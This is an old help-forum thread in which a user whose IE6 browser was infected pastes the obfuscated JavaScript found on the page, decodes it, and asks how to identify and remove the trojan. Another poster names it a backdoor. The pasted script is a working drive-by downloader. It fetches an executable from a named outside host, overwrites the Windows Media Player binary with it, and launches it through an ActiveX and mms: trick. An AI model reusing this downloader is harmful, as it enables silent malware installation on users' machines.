IE6 Hacked! Help!

[Jibba Jabba]

Can someone help me figure out what virus this is? It appeared on a web
page and instantly my Zonealarm and Norton AV shut down. I know I was
infected with something but can't figure out what it is yet. Thanks.



<script type="text/javascript">
function convertString2Unicode(s)
{
var uniString = "", hexVal, uniChar;
for(var i = 0; i < s.length; ++i)
{
hexVal = Number(s.charCodeAt(i)).toString(16);
uniChar = "\\u" + ("000" + hexVal).match(/.{4}$/)[0];
uniString += uniChar;
}
return uniString;
}
<script type="text/javascript">
function convertString2Unicode(s)
{
var uniString = "", hexVal, uniChar;
for(var i = 0; i < s.length; ++i)
{
hexVal = Number(s.charCodeAt(i)).toString(16);
uniChar = "\\u" + ("000" + hexVal).match(/.{4}$/)[0];
uniString += uniChar;
}
return uniString;
}
document.write('\u003c\u0074\u0065\u0078\u0074\u0061\u0072\u0065\u0061\u0020
\u0069\u0064\u003d\u0022\u0063\u006f\u0064\u0065\u0022\u0020\u0073\u0074\u00
79\u006c\u0065\u003d\u0022\u0064\u0069\u0073\u0070\u006c\u0061\u0079\u003a\u
006e\u006f\u006e\u0065\u003b\u0022\u003e\u000d\u000a\u000d\u000a\u0020\u0020
\u0020\u0020\u0076\u0061\u0072\u0020\u0078\u0020\u003d\u0020\u006e\u0065\u00
77\u0020\u0041\u0063\u0074\u0069\u0076\u0065\u0058\u004f\u0062\u006a\u0065\u
0063\u0074\u0028\u0022\u004d\u0069\u0063\u0072\u006f\u0073\u006f\u0066\u0074
\u002e\u0058\u004d\u004c\u0048\u0054\u0054\u0050\u0022\u0029\u003b\u0020\u00
0d\u000a\u0020\u0020\u0020\u0020\u0078\u002e\u004f\u0070\u0065\u006e\u0028\u
0022\u0047\u0045\u0054\u0022\u002c\u0020\u0022\u0068\u0074\u0074\u0070\u003a
\u002f\u002f\u0077\u0077\u0077\u002e\u006c\u0068\u0063\u006f\u006e\u006c\u00
69\u006e\u0065\u002e\u006e\u0065\u0074\u002f\u006a\u0073\u002f\u006d\u006d\u
0063\u002e\u0065\u0078\u0065\u0022\u002c\u0030\u0029\u003b\u0020\u000d\u000a
\u0020\u0020\u0020\u0020\u0078\u002e\u0053\u0065\u006e\u0064\u0028\u0029\u00
3b\u0020\u000d\u000a\u0020\u0020\u0020\u0020\u000d\u000a\u0020\u0020\u0020\u
0020\u0076\u0061\u0072\u0020\u0073\u0020\u003d\u0020\u006e\u0065\u0077\u0020
\u0041\u0063\u0074\u0069\u0076\u0065\u0058\u004f\u0062\u006a\u0065\u0063\u00
74\u0028\u0022\u0041\u0044\u004f\u0044\u0042\u002e\u0053\u0074\u0072\u0065\u
0061\u006d\u0022\u0029\u003b\u000d\u000a\u0020\u0020\u0020\u0020\u0073\u002e
\u004d\u006f\u0064\u0065\u0020\u003d\u0020\u0033\u003b\u000d\u000a\u0020\u00
20\u0020\u0020\u0073\u002e\u0054\u0079\u0070\u0065\u0020\u003d\u0020\u0031\u
003b\u000d\u000a\u0020\u0020\u0020\u0020\u0073\u002e\u004f\u0070\u0065\u006e
\u0028\u0029\u003b\u000d\u000a\u0020\u0020\u0020\u0020\u0073\u002e\u0057\u00
72\u0069\u0074\u0065\u0028\u0078\u002e\u0072\u0065\u0073\u0070\u006f\u006e\u
0073\u0065\u0042\u006f\u0064\u0079\u0029\u003b\u000d\u000a\u000d\u000a\u0020
\u0020\u0020\u0020\u0073\u002e\u0053\u0061\u0076\u0065\u0054\u006f\u0046\u00
69\u006c\u0065\u0028\u0022\u0043\u003a\u005c\u005c\u0050\u0072\u006f\u0067\u
0072\u0061\u006d\u0020\u0046\u0069\u006c\u0065\u0073\u005c\u005c\u0057\u0069
\u006e\u0064\u006f\u0077\u0073\u0020\u004d\u0065\u0064\u0069\u0061\u0020\u00
50\u006c\u0061\u0079\u0065\u0072\u005c\u005c\u0077\u006d\u0070\u006c\u0061\u
0079\u0065\u0072\u002e\u0065\u0078\u0065\u0022\u002c\u0032\u0029\u003b\u000d
\u000a\u0020\u0020\u0020\u0020\u006c\u006f\u0063\u0061\u0074\u0069\u006f\u00
6e\u002e\u0068\u0072\u0065\u0066\u0020\u003d\u0020\u0022\u006d\u006d\u0073\u
003a\u002f\u002f\u0022\u003b\u000d\u000a\u000d\u000a\u003c\u002f\u0074\u0065
\u0078\u0074\u0061\u0072\u0065\u0061\u003e\u000d\u000a\u000d\u000a\u003c\u00
73\u0063\u0072\u0069\u0070\u0074\u0020\u006c\u0061\u006e\u0067\u0075\u0061\u
0067\u0065\u003d\u0022\u006a\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070
\u0074\u0022\u003e\u000d\u000a\u000d\u000a\u0020\u0020\u0020\u0020\u0066\u00
75\u006e\u0063\u0074\u0069\u006f\u006e\u0020\u0070\u0072\u0065\u0070\u0061\u
0072\u0065\u0063\u006f\u0064\u0065\u0028\u0063\u006f\u0064\u0065\u0029\u0020
\u007b\u000d\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0072\u00
65\u0073\u0075\u006c\u0074\u0020\u003d\u0020\u0027\u0027\u003b\u000d\u000a\u
0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u006c\u0069\u006e\u0065\u0073
\u0020\u003d\u0020\u0063\u006f\u0064\u0065\u002e\u0073\u0070\u006c\u0069\u00
74\u0028\u002f\u005c\u0072\u005c\u006e\u002f\u0029\u003b\u000d\u000a\u0020\u
0020\u0020\u0020\u0020\u0020\u0020\u0020\u0066\u006f\u0072\u0020\u0028\u0069
\u003d\u0030\u003b\u0069\u003c\u006c\u0069\u006e\u0065\u0073\u002e\u006c\u00
65\u006e\u0067\u0074\u0068\u003b\u0069\u002b\u002b\u0029\u0020\u007b\u000d\u
000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u000d\u000a\u0020\u0020
\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u006c\u0069\u00
6e\u0065\u0020\u003d\u0020\u006c\u0069\u006e\u0065\u0073\u005b\u0069\u005d\u
003b\u000d\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020
\u0020\u0020\u006c\u0069\u006e\u0065\u0020\u003d\u0020\u006c\u0069\u006e\u00
65\u002e\u0072\u0065\u0070\u006c\u0061\u0063\u0065\u0028\u002f\u005e\u005c\u
0073\u002b\u002f\u002c\u0022\u0022\u0029\u003b\u000d\u000a\u0020\u0020\u0020
\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u006c\u0069\u006e\u00
65\u0020\u003d\u0020\u006c\u0069\u006e\u0065\u002e\u0072\u0065\u0070\u006c\u
0061\u0063\u0065\u0028\u002f\u005c\u0073\u002b\u0024\u002f\u002c\u0022\u0022
\u0029\u003b\u000d\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u00
20\u0020\u0020\u0020\u006c\u0069\u006e\u0065\u0020\u003d\u0020\u006c\u0069\u
006e\u0065\u002e\u0072\u0065\u0070\u006c\u0061\u0063\u0065\u0028\u002f\u0027
\u002f\u0067\u002c\u0022\u005c\u005c\u0027\u0022\u0029\u003b\u000d\u000a\u00
20\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u006c\u
0069\u006e\u0065\u0020\u003d\u0020\u006c\u0069\u006e\u0065\u002e\u0072\u0065
\u0070\u006c\u0061\u0063\u0065\u0028\u002f\u005b\u005c\u005c\u005d\u002f\u00
67\u002c\u0022\u005c\u005c\u005c\u005c\u0022\u0029\u003b\u000d\u000a\u0020\u
0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u006c\u0069
\u006e\u0065\u0020\u003d\u0020\u006c\u0069\u006e\u0065\u002e\u0072\u0065\u00
70\u006c\u0061\u0063\u0065\u0028\u002f\u005b\u002f\u005d\u002f\u0067\u002c\u
0022\u0025\u0032\u0066\u0022\u0029\u003b\u000d\u000a\u000d\u000a\u0020\u0020
\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0069\u0066\u00
20\u0028\u006c\u0069\u006e\u0065\u0020\u0021\u003d\u0020\u0027\u0027\u0029\u
0020\u007b\u000d\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020
\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0072\u0065\u0073\u0075\u006c\u00
74\u0020\u002b\u003d\u0020\u006c\u0069\u006e\u0065\u0020\u002b\u0027\u005c\u
005c\u0072\u005c\u005c\u006e\u0027\u003b\u000d\u000a\u0020\u0020\u0020\u0020
\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u007d\u000d\u000a\u0020\u00
20\u0020\u0020\u0020\u0020\u0020\u0020\u007d\u000d\u000a\u0020\u0020\u0020\u
0020\u0020\u0020\u0020\u0020\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0072
\u0065\u0073\u0075\u006c\u0074\u003b\u000d\u000a\u0020\u0020\u0020\u0020\u00
7d\u000d\u000a\u0020\u0020\u0020\u0020\u000d\u000a\u0020\u0020\u0020\u0020\u
0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e\u0020\u0064\u006f\u0069\u0074
\u0028\u0029\u0020\u007b\u000d\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u00
20\u0020\u006d\u0079\u0063\u006f\u0064\u0065\u0020\u003d\u0020\u0070\u0072\u
0065\u0070\u0061\u0072\u0065\u0063\u006f\u0064\u0065\u0028\u0064\u006f\u0063
\u0075\u006d\u0065\u006e\u0074\u002e\u0061\u006c\u006c\u002e\u0063\u006f\u00
64\u0065\u002e\u0076\u0061\u006c\u0075\u0065\u0029\u003b\u000d\u000a\u0020\u
0020\u0020\u0020\u0020\u0020\u0020\u0020\u006d\u0079\u0055\u0052\u004c\u0020
\u003d\u0020\u0022\u0066\u0069\u006c\u0065\u003a\u006a\u0061\u0076\u0061\u00
73\u0063\u0072\u0069\u0070\u0074\u003a\u0065\u0076\u0061\u006c\u0028\u0027\u
0022\u0020\u002b\u0020\u006d\u0079\u0063\u006f\u0064\u0065\u0020\u002b\u0020
\u0022\u0027\u0029\u0022\u003b\u000d\u000a\u0020\u0020\u0020\u0020\u0020\u00
20\u0020\u0020\u0077\u0069\u006e\u0064\u006f\u0077\u002e\u006f\u0070\u0065\u
006e\u0028\u006d\u0079\u0055\u0052\u004c\u002c\u0022\u005f\u006d\u0065\u0064
\u0069\u0061\u0022\u0029\u0020\u0020\u0020\u0020\u000d\u000a\u0020\u0020\u00
20\u0020\u007d\u000d\u000a\u0020\u0020\u0020\u0020\u000d\u000a\u0020\u0020\u
0020\u0020\u0073\u0065\u0074\u0054\u0069\u006d\u0065\u006f\u0075\u0074\u0028
\u0022\u0064\u006f\u0069\u0074\u0028\u0029\u0022\u002c\u0020\u0035\u0030\u00
30\u0030\u0029\u003b\u000d\u000a\u0020\u0020\u0020\u0020\u000d\u000a\u0020\u
0020\u0020\u0020\u000d\u000a\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074
\u003e\u000d\u000a')</script>

 

[Jibba Jabba]

Ok looks like the hidden javascript translates to this:

file://javascript:eval('var x = new
ActiveXObject("Microsoft.XMLHTTP");\r\nx.Open("GET","http:%2f%2fwww.lhconlin
e.net%2fjs%wfmmc.exe",0);\r\nx.Send();\r\nvar s = new ActiveXObject("AD
ODB.Stream");\r\ns.Mode = 3;\r\ns.Type =
1;\r\ns.Open();\r\ns.Write(x.responseBody);\r\ns.SaveToFile("C:\\\\Program
Files\\\\Windows Media Player\\\\wmplayer.exe",2);\r\nlocation.href =
"mms:%2f%2f";\r\n')

So, the virus is actually downloaded from:
http://www.lhconline.net/js/mmc.exe

Can someone help me analyze that exe file to find out what virus it is and
how I can clean it up?

 

[Jibba Jabba]

Ok the AMQ trojan will obviously use the net to notify the author and do
other sorts of nasty stuff, so I don't want that happening. However, I also
need to go online in order to download the latest anti-virus definitions.
How shall I proceed here? I am using Norton Antivirus.

Thanks

 

[Smile Extender]

That seems to be "backdoor.beasty". That web site www.lhconline.net didn't
look like virus company, so their web site might be hacked.